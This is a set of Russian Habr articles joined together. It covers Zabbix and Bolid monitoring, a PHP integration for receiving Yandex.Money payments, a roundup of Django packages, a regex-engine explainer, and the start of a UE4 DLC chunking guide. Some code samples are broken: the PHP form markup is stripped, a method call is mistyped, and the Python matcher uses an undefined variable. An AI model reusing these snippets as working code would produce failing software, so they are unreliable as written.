Шаг 1. Создаем узел сети и группу, в которые наши узлы будут входить (например, узел — «Контроль состояния окружающей среды» и группу — «Инженерная инфраструктура»):
Настройка > Узлы сети > Создать узел сети > Вводим наши названия > Добавить
Шаг 2. Создадим элементы данных. В статье рекомендуется создавать шаблоны, но так как у нас система не содержит повторяющихся элементов, поэтому пропущу этот шаг. Например, если бы у нас было несколько кондиционеров, подключаемых по Modbus, то можно было бы воспользоваться функционалом системы.
Настройка > Узлы сети > В строке содержащей название нашего узла «Контроль состояния окружающей среды» нажимаем на «Элементы данных» > в появившемся окне нажимаем «Создать элемент данных».
Начинаем «забивать» наши датчики:
Небольшие нюансы:
* в статье используется синтаксис функции *«modbus\_read\_registers»*, а по описанию GitHub *«modbus\_read»* — второй вариант короче и работает;
* можно вместо макросов *{$MODBUS\_PORT}* и *{$MODBUS\_SLAVE}* указывать порт в виде */dev/ttyUSB0* и "*11*", но это будет неудобно, если потом потребуется изменить порт USB или адрес С2000-ПП;
* в документации указано, что для запроса состояния зоны (столбец "№ зоны Modbus") на С2000-ПП необходимо обратиться на: «адрес регистра 40000+М, где М = (№ зоны –1)» — вот так ход: "№ зоны **минус** 1";
* не делайте очень частый опрос по времени: С2000-ПП начнет возвращать ошибку «exception error 15» — прибор не успевает подготавливать данные (выражается это в постоянном свечении индикатора на приборе) ;
* для температуры и влажности забираются данные с регистрами 3000-...
* в окне «Элементы данных» также есть нужная закладка «Предобработка». Тут можно отредактировать, что будет показываться «в итоге». Температура и влажность, получается из считываемых значений, которые необходимо разделить на 256: «Пользовательский множитель»- 0,0039 (т.е. 1/256);
* Для дискретных герконов, датчиков протечки и т.п. нужно еще использовать «Отображение значений», связано это со способом предоставления информации.
**Настройка преобразования данных в картинках**
Немного о том, в каком виде предоставляются данные при опросе зон.
Допустим, получили ответ в десятичном формате 9148(D). Переведем в шестнадцатеричный формат (HEX): получим 23BC — по инструкции к прибору С2000-ПП это два события с кодами 23(HEX)/35(D) и BC(HEX)/188(D). Далее идем смотрим Таблицу 5. «Список событий (состояний ШС) системы «Орион»». В ней находим, 35 «Восстановление технологического входа» и 188 «Восстановление связи со входом». Переводить D-HEX-D нет необходимости, первое событие — это целая часть от деления полученного значения на 256, а остаток — второе событие (**9148**=**35**\*256+**188**). При опросе технологических входов будем забирать, только первое событие (приоритетное), которое «должно» принимать состояния 35 и 36 («Восстановление технологического входа» и «Нарушение технологического входа»). Отбрасывать дробную часть (второе событие) будем используя настройку Элемента данных «Тип информации: Числовой (целое положительное)».
Шаг 3. Заполняем макросы порта и номера устройства:
Настройка > Узлы сети > «Контроль состояния окружающей среды» > выбираем «Макросы»
Шаг 4. Вывод показаний на панель управления:
Стартовый экран > Все панели, выбрать «Создать панель» > в появившемся окошке задать «Имя панели» и пользователя, которому эта панель будет доступна > Нажать «Создать новый виджет» > Тип «Обзор данных», Интервал обновлений «10 секунд», Группы узлов сети «Инженерная инфраструктура» > Добавить > Отрегулировать размер панели и нажать «Сохранить изменения»:
Заключение
----------
Полученная система, благодаря использованию «дальнобойных» протоколов, может стать отличным решением, как для мониторинга серверной и пары кроссовых, офисной зоны (в части контроля обеспечения темперурно-влажностного режима) или даже небольшого ЦОДа. Кто-то может заявить «фу-фу-фу, болид — гадость еще та, нужно использовать ХХХ (подставить что-нибудь из пром. автоматики)» — тоже вариант, но на мой взгляд это будет уже сильно избыточно и к тому же дороже. И небольшой нюанс: как видно, система на Болид достаточно простая (хотя и имеется несколько странная логика), а вот «допилить» решение на пром. контроллерах — порой тот еще «головняк».
P.S. Данная статья является адаптацией двух статей на моем блоге:
[Недорогой мониторинг для серверного помещения (часть 1 – вводная)](http://razdel5-5.ru/2019/01/02/nedorogoj-monitoring-dlya-servernogo/)
[Недорогой мониторинг для серверного помещения (часть 2 – практическая)](http://razdel5-5.ru/2019/02/04/nedorogoj-monitoring-dlya-servernogo-pomeshheniya-chast-2-prakticheskaya/)
UPD. Переходник RS485-USB проработав 3 дня — отвалился. Признан неустойчивым, но годным для пуско-наладки. Был заменен на одно-портовый преобразователь MGate MB3170 производства MOXA (взял из того, что было на руках) — все стало стабильно.
Нужно понимать, что эта статья только пример, как «подружить» Zabbix и Болид. Для реальной реализации можно добавить больше отслеживаемых состояний ДПЛС, а также, например, отрицательные температуры (они обрабатываются несколько иначе). | https://habr.com/ru/post/438788/ | null | ru | null |
# Автоматический прием Яндекс.Денег на сайте на php
Документация по приему Яндекс.Денег не содержит конкретного примера на PHP, чтобы можно было максимально быстро все прикрутить, не разбираясь во всех деталях того, как работает прием Яндекс.Денег на PHP. Сделав автоматический прием Яндекс.Денег для нашего [дата-центра](https://itsoft.ru/data-center/), я хотел бы дать пошаговую инструкцию с примерами кода на PHP, чтобы значительно сэкономить время другим разработчикам.
Изначально автоматический прием Яндекс.Денег мне казался очень сложным. Но как выяснилось там все проще чем у WebMoney.
#### Шаг 1: Создаем HTML-форму для приема платежей
Сам код формы можно сгенерировать тут [money.yandex.ru/embed/quickpay/shop.xml](https://money.yandex.ru/embed/quickpay/shop.xml) Но поскольку наша цель принимать платежи автоматически, то в HTML-форму нужно добавить id счета, который клиент нам оплачивает. И скорее всего, мы хотим получать полную сумму счета, т.е. хотим комиссию Яндекса 0.05% возложить на клиента, поэтому в результате HTML-форма
в нашем php-скрипте будет генериться так:
```
$sum = 1.005*$i->itsum;
print <<
Сумма платежа указана с учетом комиссии Яндекс.Денег 0.5%. Если вы будете менять сумму, пожалуйста, учтите, что к нам поступит
сумма/1.005. Также в целях упрощения расчетов, у нас ведется учет всех сумм в целых числах, поэтому копейки будут обнулены.
**Платежи с кодом протекции не могут быть зачислены online, поэтому просьба отправлять без кода протекции.**
HTML;
```
Обратите внимание на две переменных $sum и $i->id
Также мы добавили предупреждение, что платежи с кодом протекции зачислены автоматически быть не могут, т.к. наша система, код протекции никак угадать не может
Реализовав данную форму у себя на сайте вы уже можете получать деньги на свой Яндекс.Кошелек и видеть по какому номеру счета был сделан платеж. Для автоматического зачисления платежа нужно выполнить следующие шаги.
#### Шаг 2: Загрузить PHP-библиотеку для работы с API Яндекс.Денег
Библиотеку можно взять тут [github.com/melnikovdv/PHP-Yandex.Money-API-SDK](https://github.com/melnikovdv/PHP-Yandex.Money-API-SDK)
Далее ее нужно разархивировать и скопировать на ваш сайт, например, в директорию /invoice/ym/
У вас в директории /invoice/ym/ должны появиться соответственно папки lib и sample
#### Шаг 3: Зарегистрировать приложение для работы с API Яндекс.Денег
Это можно сделать тут [sp-money.yandex.ru/myservices/new.xml](https://sp-money.yandex.ru/myservices/new.xml)
Например, у нас следующие значения:
Название вашего приложения:
(его будут видеть пользователи, выдавая приложению права) ITSoft
Адрес вашего сайта: [itsoft.ru](http://itsoft.ru)
Redirect uri: [itsoft.ru/invoice/ym/sample/index.php](https://itsoft.ru/invoice/ym/sample/index.php)
(адрес, на который сервер Яндекс.Денег осуществит редирект после того, как пользователь разрешит или запретит доступ; соответствует параметру redirect\_uri в документации)
Использовать проверку подлинности приложения Да
— Зарегистрировав приложение, вы увидите «Идентификатор приложения» и «OAuth2 client\_secret:»
Если вы их вдруг потеряете, то их всегда можно получить в настройках вашего аккаунта Яндекс.Деньги в разделе Мои приложения [sp-money.yandex.ru/tunes.xml?from=bal](https://sp-money.yandex.ru/tunes.xml?from=bal), справа кнопка «Настроить».
Идентификатор приложения и «OAuth2 client\_secret» необходимо скопировать в файлик /invoice/ym/sample/consts.php
Там же инициализировать REDIRECT\_URI в значение [yourdomain.ru/invoice/ym/sample/index.php](https://yourdomain.ru/invoice/ym/sample/index.php)
#### Шаг 4: Получить token для работы с вашим Яндекс.Кошельком при помощи PHP-библиотеки
В скрипте [yourdomain.ru/invoice/ym/sample/index.php](https://yourdomain.ru/invoice/ym/sample/index.php) необходимо закомментировать
следующие строчки:
//см. строки 10-16 и комментируйте как показано ниже, нам эти операции не понадобятся, поэтому не будем запрашивать на них разрешение
```
$scope = "account-info " .
"operation-history " .
"operation-details " /*.
"payment.to-account(\"410011161616877\",\"account\").limit(30,10) " .
"payment.to-pattern(\"337\").limit(30,10) " .
"money-source(\"wallet\",\"card\") " */;
$authUri = YandexMoneyNew::authorizeUri(CLIENT_ID, REDIRECT_URI, $scope);
```
И комментируйте строки с 82й по 131ю.
Теперь надо в браузере вызвать скрипт [yourdomain.ru/invoice/ym/sample/index.php](https://yourdomain.ru/invoice/ym/sample/index.php), авторизоваться и сохранить полученный токен. Будьте внимательны, копируйте токен целиком, он очень длинный.
Мы уже близки к победе.
#### Шаг 5: Настройка callback-скрипта, котрый Яндекс.Деньги будут вызывать при получении платежа на ваш кошелек
На этой странице [sp-money.yandex.ru/myservices/online.xml](https://sp-money.yandex.ru/myservices/online.xml) вы должны ввести адрес скрипта, например: [itsoft.ru/invoice/ym/payment.php](https://itsoft.ru/invoice/ym/payment.php)
Вы можете нажать кнопку протестировать, правда, у вас пока нет скрипта обработчика, да тестировать надо оплачивая с какого-нибудь кошелька 1 рубль на вашем сайте.
Поставьте галочку «Отправлять уведомления» нажмите Сохранить.
Вам понадобится секретный ключ с этой страницы. Сохраните его.
#### Шаг 6: Обработка и зачисление платежей
Скрипт [itsoft.ru/invoice/ym/payment.php](https://itsoft.ru/invoice/ym/payment.php) у нас выглядит примерно так, я убрал ряд деталей, которые относятся исключительно к обработке заказов клиентов.
```
require_once(dirname(__FILE__) . '/lib/YandexMoney.php');
require_once(dirname(__FILE__) . '/sample/consts.php');
if($_POST['codepro']!='false')
{
//платёж с кодом протекции, автоматически его принять нельзя
exit;
}
$str=$_POST['notification_type'] . '&' .
$_POST['operation_id'] . '&' .
$_POST['amount'] . '&' .
$_POST['currency'] . '&' .
$_POST['datetime'] . '&' .
$_POST['sender'] . '&' .
$_POST['codepro'] . '&секретный код со страницы https://sp-money.yandex.ru/myservices/online.xml&' .
$_POST['label'];
if(sha1($str)!=$_POST['sha1_hash'])
{
//нас ломают
exit;
}
$ym = new YandexMoneyNew(CLIENT_ID);
$token='токен полученный на Шаге 4';
$resp = $ym-operationDetail($token, $_POST['operation_id']);
if($resp->isSuccess())
{
$operation_id = $_POST['operation_id'];
$sender = $_POST['sender'];
$amount = $_POST['amount'];
$datetime = $_POST['datetime'];
preg_match('/i(\d+);/', $resp->getMessage(), $m);
$invoice_id = $m[1];
//добавляем платёж
}
?>
```
Ну собственно и все. Будут вопросы, задавайте тут, постараюсь всем ответить.
PS
Эта статья посвящена тому, как быстро прикрутить прием Яндекс.Денег. Код PHP-скрипта каждый может переписать в зависимости от своих задач и потребностей. | https://habr.com/ru/post/160969/ | null | ru | null |
# Ещё 10 батареек для джанго
Продолжаем делиться своим опытом использования полезных батареек для Django.
[Первая часть](http://habrahabr.ru/blogs/django/115754/)
Ещё рекомендуем [«Сумбурные заметки про python и django»](http://habrahabr.ru/blogs/python/105627/) и [«Django проект PR Hero: что внутри и полученный опыт»](http://habrahabr.ru/blogs/django/116741/).
Для Django написано огромное количество пакетов. Из них [мы](http://futurecolors.ru) выбрали 10, которые использовали сами в своих последних проектах и которыми остались довольны. Все они есть на PyPI. Они продокументированы и покрыты тестами, где-то больше, где-то меньше. Исключение составляет django-sphinx, о котором отдельно.
#### django-hvad
Интересная реализация хранения мультиязычных полей в моделях. Для каждой переводимой модели создаётся дополнительная таблица, в которой хранятся исключительно переводные атрибуты.
Пример описания модели:
```
class DjangoModel(TranslatableModel):
name = models.CharField(max_length=255, unique=True)
author = models.CharField(max_length=255)
translations = TranslatedFields(
description = models.TextField(),
description_author = models.CharField(max_length=255),
)
def __unicode__(self):
return self.name
```
Пример запроса:
```
DjangoModel.objects.language('en').filter(description_author='Jonas Obrist')
```
Приложение одно из лучших в своей категории, хоть и альфа. Местами сыровато, что открыто признаёт сам автор. Оно старается минимизировать количество запросов к БД, дружественна к south-миграциям.
Кроме того, django-hvad умеет рисовать симпатичную админку для переводов полей:
[Гитхаб](https://github.com/KristianOellegaard/django-hvad)
[Документация](http://django-hvad.readthedocs.org/en/latest/index.html)
#### django-whatever (django-any)
Модуль позволяет отказаться от создания громоздких фикстур для тестов, заменив их простым созданием объектов моделей на лету, заполняя поля случайными данными. Благодаря этому тесты становятся более читабельными и поддерживаемыми.
Вот пример, в котором мы создаём два экземпляра моделей, но указываем при создании лишь те значения полей, которые важны для теста (остальное сделает django-any):
```
from django_any import any_model
class TestMyShop(TestCase):
def test_order_updates_user_account(self):
account = any_model(Account, amount=25, user__is_active=True)
order = any_model(Order, user=account.user, amount=10)
order.proceed()
account = Account.objects.get(pk=account.pk)
self.assertEquals(15, account.amount)
```
django-any написал хабраюзер [kmmbvnr](https://habrahabr.ru/users/kmmbvnr/), а django-whatever это дружественный форк нашего авторства, в котором мы [добавили несколько фич и поправили несколько багов](http://packages.python.org/django-whatever/changelog.html#changelog).
[Github](https://github.com/coagulant/django-whatever)
[Доки](http://packages.python.org/django-whatever/)
#### django-jenkins
Удобная интеграция Django и Jenkins для упрощения решения задач continious integration от kmmbvnr. Всё очень просто: настраиваешь и пользуешься, никаких нареканий нет.
Хорошие статьи про тестирование в Django и непосредственно про интеграцию с django-jenkins:
* [Настройка Jenkins для Django-проекта с нуля](http://habrahabr.ru/blogs/django/132521/)
* [Тестирование Django-проектов](http://habrahabr.ru/blogs/django/122156/)
[Гитхаб](https://github.com/kmmbvnr/django-jenkins)
[Видео-туториал от автора: “Как начать тестировать и получать от этого удовольствие”](http://kmmbvnr.livejournal.com/75183.html)
#### django-guardian
Приложение реализует недостающую из коробки фичу прав на объект, а не на всю модель (object-level permissions). Начиная с Django 1.2 бэкенд аутентификации [поддерживает](https://docs.djangoproject.com/en/1.2/topics/auth/#handling-object-permissions) проверку прав на объект, но это не реализовано в самом Django. django-guardian успешно заполняет этот пробел.
Единственным обнаруженным недостатком является, пожалуй, то, что наличие глобальных прав на модель не даёт прав на конкретный объект и [требует отдельной проверки](https://github.com/lukaszb/django-guardian/issues/49).
[Гитхаб](https://github.com/lukaszb/django-guardian)
[Доки](http://packages.python.org/django-guardian/)
#### django-email-confirmation
Среди множества других аналогичных батареек, django-email-confirmation не берёт на себя всё и сразу, но то, что берёт — делает хорошо. Позволяет пользователю регистрировать на себя несколько email-адресов, из них выделить основной, подтверждать адреса по почте и управлять всем этим нехитрым процессом. Можно определить собственные шаблоны для писем, можно подружить метод отправки письма с Celery, всё как положено. Является частью проекта Pinax.
[Гитхаб](https://github.com/jtauber/django-email-confirmation)
#### django-compressor / webassets
Два самых интересных, на наш взгляд, приложения для склейки и минификации CSS/JS. В отличие от упоминавшегося в прошлом посте django-compress, не требуют конфига и могут работать с помощью темплейт-тегов, что довольно удобно для верстальщиков. webassets, что примечательно, работает не только с Django ([flask-assets](http://elsdoerfer.name/docs/flask-assets/)). Оба модуля поддерживают [Jinja](http://jinja.pocoo.org/) через свои расширения. Любители SAS, LESS, CoffeeScript не уйдут обиженными, препроцессоры тоже поддерживаются.
Мы используем django-compressor и предостерегаем вас от поспешных обновлений на свежие версии приложения на боевых серверах: модуль активно разрабатывается и периодически всплывают неожиданные регрессии (несмотря на тесты). В остальном очень хороший пакет от одного из django core devs.
[django-compressor гитхаб](https://github.com/jezdez/django_compressor)
[django-compressor доки](http://django_compressor.readthedocs.org/en/latest/index.html)
[webassets гитхаб](https://github.com/miracle2k/webassets)
[webassets доки](http://elsdoerfer.name/docs/webassets/)
#### django-taggit
Простая батарейка, как по структуре, так и по возможностям. Как ясно из названия, django-taggit реализовывает поддержку тегов. Делает он это на уровне модели с помощью специального менеджера. Неплохо кастомизируется и расширяется через through-модель, сам умеет создавать уже набившее всем оскомину облако тегов и делает некоторые другие стандартные вещи (типа добавить/удалить тег). Документация совсем небольшая, но исчерпывающая, поэтому на знакомство не уйдёт много времени.
[Гитхаб](https://github.com/alex/django-taggit)
[Доки](http://django-taggit.readthedocs.org/en/latest/index.html)
#### django-sphinx
Sphinx, популярный поисковый движок, — наше всё, благодаря его скорости, гибкости и способности учитывать особенности русской морфологии, чего не скажешь о его ближайших конкурентах. Несмотря на популярность, существует одно единственное решение-интегратор для Django — django-sphinx.
Что даёт?
* полная поддержка Sphinx API <= 0.9.9
* поисковые запросы через менеджер моделей, можно уточнять такие параметры как вес полей или названия индексов прямо в описании класса модели
* на основе указанных параметров умеет автоматически генерировать sphinx-конфиг
* псевдо`queryset (SphinxQueryset) на выходе, что также удобно для работы с выборкой
И в то же время:
* есть проблемы при дополнительной обработке объекта выборки
* несколько досадных открытых багов в оригинальном пакете django-sphinx (например, exception при использовании метода exclude), хотя они исправлены в нашем форке
* совсем нет тестов, скудная документация
* пакет не поддерживается и больше не развивается своим автором
В ближайшие дни мы поделимся с вами опытом работы с этим модулем и постараемся детально описать обнаруженные подводные камни. Масса нюансов тянет на отдельную статью.
[Гитхаб (наш форк)](https://github.com/futurecolors/django-sphinx)
Полезные статьи (местами не совсем актуальные):
* [justcramer.com/2009/03/25/setting-up-django-and-sphinx-full-text-search-django-sphinx](http://justcramer.com/2009/03/25/setting-up-django-and-sphinx-full-text-search-django-sphinx/)
* [justcramer.com/2008/02/24/in-depth-django-sphinx-tutorial](http://justcramer.com/2008/02/24/in-depth-django-sphinx-tutorial/)
#### django-celery
По-настоящему незаменимая батарейка на более-менее крупных проектах, где без асинхронных задач не обойтись. Фактически, Celery — де-факто стандарт для реализации очередей в питоне, она обладает широким набором фич, поддерживает разнообразные бэкенды и имеет приятный API.
На Хабре была пара хороших статей о том как работать с celery, в том числе настройка и подводные камни при интеграции с Django:
* [Асинхронные задания в Django c помощью Celery](http://habrahabr.ru/blogs/django/123902/)
* [Celery — распределенная очередь заданий](http://habrahabr.ru/company/biggo/blog/102742/)
[Гитхаб](https://github.com/ask/django-celery)
[Документация](http://celery.readthedocs.org/en/latest/#)
#### django-hosts
Модуль для управления роутингом урлов в зависимости от поддомена, у каждого из которых может быть свой собственный URLConf. Если ваш сайт имеет множество поддоменов, эта батарейка вам пригодится.
[Гитхаб](https://github.com/ennio/django-hosts)
[Документация](http://django-hosts.readthedocs.org/en/latest/index.html)
P.S. Наш скромный вклад в опенсорс [github.com/futurecolors](https://github.com/futurecolors/) и [github.com/coagulant](https://github.com/coagulant) | https://habr.com/ru/post/136168/ | null | ru | null |
# Как работают регулярные выражения, или Движок regex с анимацией
##### Aydin Schwartz
Студент магистратуры Data Science Университета Сан-Франциско
Регулярные выражения заслужили плохую репутацию. Кажется, при каждом упоминании они вызывают в воображении простыни текста, которые выглядят абсолютно бессмысленно. Вот, к примеру, известное выражение проверки корректности [электронной почты](https://emailregex.com/):
```
(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])
```
Угу… Не претендую на то, что к концу статьи вы его поймёте, но покажу, что регулярки построены на простых правилах, понять которые не так уж сложно.
Почему нас вообще должно волновать, как они работают? Думаю, пара причин тому есть, и вот первая: когда вы поймёте фундаментальные основы регулярных выражений, писать хорошие регулярки станет проще.
Бывало, я писал регулярку и не возвращался к ней несколько месяцев, а потом всё забывал и переучивался заново. Избежать этой проблемы поможет понимание идей в основе регулярных выражений, а не только их синтаксиса.
Может, как программист-самоучка я лезу на рожон, но заглянуть в теорию Сomputer Science будет полезно, а разбор движка регулярок — хорошая возможность познакомиться с понятием «конечный автомат».
И, по-моему, лучший способ разобраться — визуализация, поэтому на Python и Graphviz я написал движок регулярок, который анимирует поиск по тексту. Если хотите попробовать свои примеры, загляните на [Github](https://github.com/aydinschwa/Regex-Engine). Ниже я показываю анимацию поиска `S+NAKE` по тексту SSSSNAKE.
Вводная часть
-------------
В основе регулярных выражений лежит много теории, но я постараюсь разъяснить только самое необходимое для нашего движка.
[Wikipedia](https://en.wikipedia.org/wiki/Regular_expression) определяет регулярное выражение как «последовательность символов, определяющая шаблон поиска по тексту». Большая часть символов регулярного выражения — это обычные символы, но есть несколько специальных метасимволов — это `(*, +, ? , |)` с уникальными функциями, о которых поговорим позже.
Ядро движка регулярок — детерминированный конечный автомат (далее — ДКА). Звучит затейливо, но это просто направленный граф с начальным и конечным узлами. Он работает, изменяя свои состояния согласно некоторому вводу:
Единственный способ этого ДКА перейти из начального состояния в заключительное — пройти последовательность «BAT». Этот пример кажется простым, но он расширяется до произвольных входных данных и сложных последовательностей символов, поэтому в идеале хотелось бы найти способ превратить регулярное выражение в ДКА.
И здесь нас спасает теория! Теорема Клина [утверждает](https://www.cs.cornell.edu/courses/cs2800/2017sp/lectures/lec27-kleene.html), что для любого регулярного выражения существует ДКА, способный задать тот же набор строк, и наоборот. Иными словами, существует алгоритм, преобразующий ту самую безумную проверку e-mail в ДКА — и в форме ДКА компьютер легко обработает его.
> До начала разработки алгоритма я должен предостеречь вас: преобразование регулярного выражения в ДКА может оказаться очень затратным вычислением.
>
>
Вместо этого превратим выражение в недетерминированный конечный автомат (далее — НКА). Основное отличие НКА от ДКА состоит в том, что он может находиться в нескольких состояних одновременно и переходить в разные состояния без сканирования очередной буквы ввода [такой переход называется эпсилон-переходом. — прим. ред.].
Регулярное выражение → НКА
--------------------------
Вот краткий обзор метасимволов движка:
* (`*`) соответствует символу ноль или более раз.
* (`+`) соответствует символу один или несколько раз.
* (`?`) соответствует символу ноль или один раз.
* (`.`) соответствует любому символу.
* (`()`) инкапсулирует подвыражения.
* (`|`), `or` — логическое "ИЛИ".
Если вы работали с регулярками, наверное, вы заметили, что метасимволов (`[]`) и (`{}`) в движке нет. Тем не менее, движок имеет все возможности реализации операций, выполняемых этими символами:
* Выражение `[ABC]` не поддерживается; его эквивалент — `(A|B|C)`.
* `A{2, 3}` — эквивалент `AAA?`. Добавить эти метасисволы возможно, но их сложно выразить графически.
Преобразование регулярного выражения в НКА я покажу на примере `(A*B|AC)D`. Сначала нужно немного обработать выражение — заключить его в круглые скобки. Затем — создать узлы для каждого символа, а ещё последний, пустой узел, означающий заключительное состояние автомата:
Добавляем рёбра перехода от одной точки к другой. Представить их можно как рёбра к узлам с буквами. Они выполняются, только когда сканируемая в тексте буква совпадает с буквой узла. Логика добавления рёбер перехода соответствия проста: переход соответствия от текущего узла к следующему добавляется, когда узел не содержит метасимвола.
Сложнее всего добавить рёбра эпсилон-перехода. Представить их можно как рёбра, идущие к узлам с метасимволами. Для каждого метасимвола эти рёбра будут разными, а ещё на них влияет расположение скобок: если в выражении есть оператор \*, он требует трёх отдельных рёбер эпсилон-перехода:
1. К состоянию после эпсилон-перехода.
2. К состоянию до эпсилон-перехода.
3. От состояния до перехода — к \*.
После добавления всех этих рёбер НКА завершается:
Сопоставление шаблонов НКА
--------------------------
Теперь, когда НКА построен, можно запустить его на тексте и наблюдать переходы от состояния к состоянию:
* Если НКА достигает заключительного состояния, значит, совпадение найдено.
* Если мы закончили сканирование текста и не достигли этого состояния, совпадение не найдено.
Базовый шаблон запуска НКА выглядит так:
1. До сканирования первой буквы создаётся список *активных состояний* и в него добавляется первый узел НКА.
2. Берутся эпсилон-переходы от каждого узла в активном состоянии к каждому достижимому состоянию. Все достижимые состояния помещаются в список *состояний-кандидатов*.
3. Сканируется следующая буква текста.
4. Список *активных состояний* очищается. Если какое-либо состояние в *кандидатах* совпадает с буквой в тексте, берётся его переход соответствия в следующее состояние и добавляется в новый список *активных состояний*.
5. Шаги 2–4 повторяются до конца текста или до заключительного состояния автомата.
Python-код этой процедуры — ниже:
```
def recognize(text, regex, match_transitions, epsilon_transitions):
active_states = [0]
# get candidate states before scanning first character
candidate_states = digraph_dfs(epsilon_transitions, active_states[0])
candidate_chars = [regex[state] for state in epsilon_states]
for i, letter in enumerate(text):
# get epsilon transition states that match letter of input text
matched_states = []
[matched_states.append(state) for state, char in zip(candidate_states, candidate_chars) if
char == letter or char == "."]
# take match transition from matched state to next state
active_states = []
[active_states.extend(match_transitions[node]) for node in matched_states]
# get next epsilon transitions
candidate_states = []
[candidate_states.extend(digraph_dfs(epsilon_transitions, node)) for node in active_states]
candidate_chars = [regex[state] for state in candidate_states]
# check if nfa has reached the accepting state
if len(regex) in candidate_states:
return True
# if we've processed all text and haven't reached accepting state, return False
return False
```
Прогоним НКА через текст AABD. Первый шаг — взять все возможные эпсилон-переходы до сканирования первой буквы AABD, вот так:
На самом первом шаге НКА уже находится в 6 состояних-кандидатах! Далее сканируем до первой буквы текста:
Чтение первой буквы текстаПереход соответствия из A имеют два узла: 4 и 8. Следующий шаг — взять переход соответствия из этих узлов.
Переходы соответствия A → \* и A → CОтсюда процесс повторяется так же. Из *активных состояний* берётся каждый доступный эпсилон-переход, сканируется следующая буква, затем берём следующий переход состояния:
Весь процесс поиска НКА заканчивается в заключительном состоянии автоматаИ последнее
-----------
Надеюсь, вы лучше поняли внутреннюю работу механизма регулярных выражений. Для разъяснений настоятельно рекомендую [эти видеолекции](https://www.coursera.org/lecture/algorithms-part2/regular-expressions-go3D7) профессора Роберта Седжвика.
Трудно полностью понять что-то, не поработав с этим, поэтому я призываю всех читателей создать свои [анимации регулярок](https://github.com/aydinschwa/Regex-Engine) или просто повозиться с их [отладчиком](https://regex101.com/).
А мы поможем прокачать ваши навыки или с самого начала освоить профессию, актуальную в любое время:
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_200722&utm_term=conc)
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_200722&utm_term=conc)
Выбрать другую [востребованную профессию](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_200722&utm_term=conc).
 | https://habr.com/ru/post/677402/ | null | ru | null |
# Работа с DLC для мобильных игр в UE4
Привет, Хабр!
В разработке игр зачастую необходимо создавать систему по доставке и установке нового контента (DLC). Для мобильных игр такое требование обусловлено не только желанием обеспечить долгую пост-релизную поддержку игры, но также необходимостью учитывать технические ограничения на размер игры — ключевые площадки по дистрибуции мобильных игр, Google Play и Apple Store, имеют достаточно строгие ограничения на размер установщика приложения.
В рамках этой статьи рассказываю, как мы реализовали такую систему в новой мобильной игре на UE4. Речь пойдет об использовании чанков для создания DLС, работе с .pak файлами, создании патчей для DLC контента, а также об использовании плагина Mobile Patching для загрузки DLC файлов.
Задача
------
Разделение контента игры на несколько частей — минимально достаточной для установки и запуска приложения (по сути, для создания .apk или .ipa файла) и второй части, с остальными составляющими приложения, де-факто стало базовым для многих мобильных игр. Например, в таких сборках, в качестве минимального необходимого контента для игры, может выступать стартовая карта с виджетами интерфейса и логикой для загрузки остальной части контента.
Данное решение стало настолько распространенным, что в UE4 для него уже предоставляется конфигурация по сборке проекта. Но для нашего проекта такой конфигурации было недостаточно. В первую очередь, нам необходимо было добиться возможности создание новых групп контента для будущих DLC. Во вторую, нас интересовала возможность удалять из клиента игры более неактуальный контент — сюжетные эпизоды, к которым игрок больше не имеет возможности вернуться, более не актуальные игровые эвенты, сезонный контент.
Всё это позволило бы поддерживать относительно небольшой размер игры, что немаловажно, учитывая технические ограничения мобильных устройств.
Функционал чанков (chunk)
-------------------------
Отправной точкой для создания подходящей нам системы по организации DLC стал функционал чанков (chunk’s) и пример его использования в мобильной игре от Epic Games — [Battle Breakers](https://www.unrealengine.com/en-US/tech-blog/optimizing-battle-breakers-for-chunked-downloading?sessionInvalidated=true).
Использование чанков позволяет объединить ассеты проекта в группы — чанки. В свою очередь, это приводит к созданию отдельных .pak файлов для каждого чанка при сборке проекта. Сам механизм объединения ассетов в чанки основан на использовании Primary Assets и их зависимостей — Secondary Assets. Данное разделение носит концептуальный характер и не влияет на какие-либо свойства файлов, но позволяет применить дополнительные настройки для ассетов, которые в свою очередь и позволяют разнести контент между различными .pak файлами. Грубо говоря, каждый Primary Asset (и его зависимости) и становится в итоге отдельным чанком.
Таким образом, проведя чанкование проекта, вместо монолитного .pak файла со всем контентом игры, мы можем получить набор отдельных .pak файлов — каждый со своей группой ассетов, объединенных по любым критериям. В самом простом случае, каждый чанк может представлять собой отдельную карту со всеми ассетами, которые использует данная карта.В итоге задача по организации DLC контента сводится к:
* Выбору Primary Asset-ов;
* Настройке параметров Primary Asset-ов;
* Настройке параметров Asset Manager.
Для сборки проекта с чанками достаточно включить опцию «*Generate Chunks*» в настройках сборки проекта: *Project Settings → Packaging → Generate Chunk*. C чанками можно собрать любой проект, т.к по умолчанию, все ассеты принадлежат нулевому чанку. В результате сборки такого проекта можно будет обнаружить единственный .pak файл с нулевым индексом.
Сам процесс сборки проекта с чанками можно схематично представить следующим образом:
Параметры Primary Asset-ов
--------------------------
Перед тем, как затронуть вопрос о выборе Primary Asset-ов, стоит рассмотреть дополнительные параметры, которые используются Asset Manager-ом для работы с Primary Asset-ами (в контексте использования чанков). К таким параметрам относятся:
* *Chunk ID* — численный идентификатор, указывающий к какому чанку ассет будет принадлежать. По умолчанию, все ассеты относятся к *Chunk ID* *= 0*.
